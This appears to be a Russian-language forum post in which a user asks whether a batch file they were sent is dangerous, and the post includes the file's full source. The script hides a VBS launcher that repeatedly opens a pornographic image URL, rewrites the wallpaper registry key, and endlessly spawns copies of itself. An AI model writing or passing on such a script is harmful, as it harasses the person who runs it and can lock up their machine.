Программирование и возможные вирусы

скинули бат файл не знаю чем опасен кто разбирается подскажите опасный ли он ?
















@echo off

REM Открытие рабочего стола
start "" explorer.exe "%USERPROFILE%\Desktop"

:loop
echo Set objShell = CreateObject("WScript.Shell") > invis.vbs
echo strCommand = "cmd /c start """" /B ""https://ei.phncdn.com/videos/202008/31/347632731/original/(m=eaAaGwObaaaa)(mh=WM2FBdzjtDBD7J59)15.jpg""" >> invis.vbs
echo objShell.Run strCommand, 0, false >> invis.vbs
echo Set objShell = Nothing >> invis.vbs

cscript //nologo invis.vbs
del invis.vbs

REM Изменение обоев на все картинки в папке
for %%F in ("%USERPROFILE%\Pictures*") do (
reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "%%F" /f
rundll32.exe user32.dll, UpdatePerUserSystemParameters
)

timeout /t 5 /nobreak > nul

start "" "%~dpnx0" REM Запускать самого себя в новом окне


goto loop